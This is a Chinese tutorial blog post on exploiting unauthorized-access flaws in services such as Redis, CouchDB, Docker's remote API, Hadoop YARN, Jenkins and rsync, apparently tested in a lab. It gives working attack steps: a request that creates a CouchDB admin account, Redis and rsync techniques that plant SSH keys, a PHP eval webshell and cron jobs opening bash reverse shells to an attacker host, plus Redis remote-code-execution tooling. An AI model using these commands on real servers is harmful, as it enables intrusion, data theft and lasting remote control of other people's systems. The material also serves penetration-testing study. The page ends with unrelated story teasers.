未授权访问漏洞的测试

一、MongoDB

MongoDB默认端口27017,当配置成无验证时,存在未授权访问,使用msf中的scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。

use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
set threads 10
exploit
image.png

二、nfs

nfs默认端口2049,配置不当时,可以远程挂载nfs的共享目录。

apt install nfs-common 安装nfs客户端
showmount -e 192.168.70.162 查看nfs服务器上的共享目录
mount -t nfs 192.168.70.162:/grdata /mnt 挂载到本地
umount /mnt 卸载目录
image.png

三、ZooKeeper

ZooKeeper是一个分布式的,开放源码的应用程序协调服务,默认端口2181,在未进行任何访问控制的情况下,存在未授权访问漏洞。

echo envi|nc 192.168.80.196 2181 列出服务环境有关的信息
echo stat|nc 192.168.80.196 2181 列出关于性能和连接的客户端统计信息
image.png

四、Memcache

memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。

nmap 192.168.70.129 -p11211 --script="memcached-info.nse"
image.png

使用nc连接获取敏感信息

  • stats 查看memcache 服务状态
  • stats items 查看所有items
image.png

五、Elasticsearch

Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问漏洞时,可被非法操作数据。

http://192.168.80.126:9200/_plugin/head/  web管理界面
http://192.168.80.126:9200/_cat/indices  查看集群当前状态
http://192.168.80.126:9200/_nodes  查看节点数据
http://192.168.80.126:9200/_river/_search  查看数据库敏感信息
image.png

六、docker

该未授权访问漏洞是因为docker remote api可以执行docker命令,该接口的目的是取代docker命令界面,通过url操作docker。docker swarm是用来管理docker集群的,在开放2375端口监听集群容器时,会调用这个api。

#安装类库
pip install -r requirements.txt
#查看运行的容器
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375
#查看所有的容器
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -a
#查看端口映射
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -L
#在容器中执行命令
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -e "whoami" -I 容器id
#查看服务端api版本
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -V

image.png

工具:https://github.com/Tycx2ry/docker_api_vul

七、Hadoop

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,Hadoop YARN ResourceManager WebUI页面如下:

image.png

在没有 hadoop client 的情况下,直接通过 REST API也可以提交任务执行。利用过程如下:

  • 在本地监听等待反弹 shell 连接
  • 调用 New Application API 创建 Application
  • 调用 Submit Application API 提交
image.png

工具:https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py

八、CouchDB

CouchDB是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库,2017年时被爆出了2个CVE:

  • CVE-2017-12635垂直权限绕过
    发送如下数据包,可成功创建管理员用户,账户密码均为vulhub,web界面登录地址为:http://192.168.70.45:5984/_utils/
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.70.45:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}
image.png
  • CVE-2017-12636任意命令执行
    Couchdb 2.x和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。使用以下exp,修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),可成功反弹shell。
image.png

工具:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

九、Redis

Redis安装完成后,默认是没有账号密码的,如果配置不当可能造成未授权访问漏洞。主要有以下三种利用方式:

  1. 写ssh公钥,需要root权限
    利用过程:
ssh-keygen -t rsa  生成ssh公钥和私钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  将公钥保存成key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.80.44 -x set xxx  写入redis
redis-cli -h 192.168.80.44  连接redis
config set dir /root/.ssh  设置写文件的目录
config set dbfilename authorized_keys  设置写入的文件名
save

使用ssh远程登录:

ssh root@192.168.80.44 -p 22622
  1. 写定时任务,需要root权限
    利用过程:
redis-cli -h 192.168.80.44
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.155/4444 0>&1\n\n"
config set dir /var/spool/cron  设置写文件的目录
config set dbfilename root  设置写入的文件名
save

使用nc接收shell:

nc -nvvlp 4444

补充:可利用cron的位置

/etc/crontab
/etc/cron.d/
/var/spool/cron/root为centos系统root用户的cron文件
/var/spool/cron/crontabs/root为debian系统root用户的cron文件
  1. 写webshell,需要知道web路径
    利用过程:
redis-cli -h 192.168.80.44
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

4.利用主从复制getshell
root用户会收到root的shell,redis用户会收到redis的shell。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.80.147 -L 192.168.80.166 -f module.so
image.png
nc -nvvlp 81 服务器上监听81端口
image.png

5.Windows下如何getshell?

  • 写入webshell,需要知道web路径
  • 写入启动项,需要目标服务器重启
  • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

补充:redis常用命令

info、keys *、set animal 'Cat'、get animal、del animal、config get dir、config get dbfilename

十、Jenkins

默认情况下 Jenkins 面板中可以使用脚本命令行,攻击者通过未授权访问漏洞执行系统命令从而获取服务器的权限。

http://www.example.com:8080/manage
http://www.example.com:8080/script
  • 执行系统命令:println "ls".execute().text
image.png
  • 反弹shell
image.png

十一、rsync

  • 查看模块名列表
root@kali:~# nmap 192.168.80.201 -p 873 -n -Pn --script="rsync-list-modules.nse"
root@kali:~# rsync rsync://192.168.80.201:873/
image.png
  • 查看模块下的文件
root@kali:~# rsync rsync://192.168.80.201:873/src/
image.png
  • 下载任意文件
root@kali:~# rsync -av rsync://192.168.80.201:873/src/etc/passwd ./
  • 通过写文件getshell
  1. 写入webshell
root@kali:~# rsync -av webshell.php rsync://192.168.80.201:873/src/var/webshell.php
  1. 写入定时任务
    首先查看当前有哪些定时任务:
root@kali:~# rsync -av rsync://192.168.80.201:873/src/etc/crontab ./
root@kali:~# cat crontab 
image.png

然后创建一个shell文件

root@kali:~# vim shell

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.80.221/4444 0>&1

root@kali:~# chmod +x shell

最后将shell文件写入定时任务(注意每小时的第17分钟会执行)

root@kali:~# rsync -av shell rsync://192.168.80.201:873/src/etc/cron.hourly
image.png

参考:

https://vulhub.org
https://paper.seebug.org/409/#0x02-redis
https://xz.aliyun.com/t/2320#toc-42

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260

推荐阅读更多精彩内容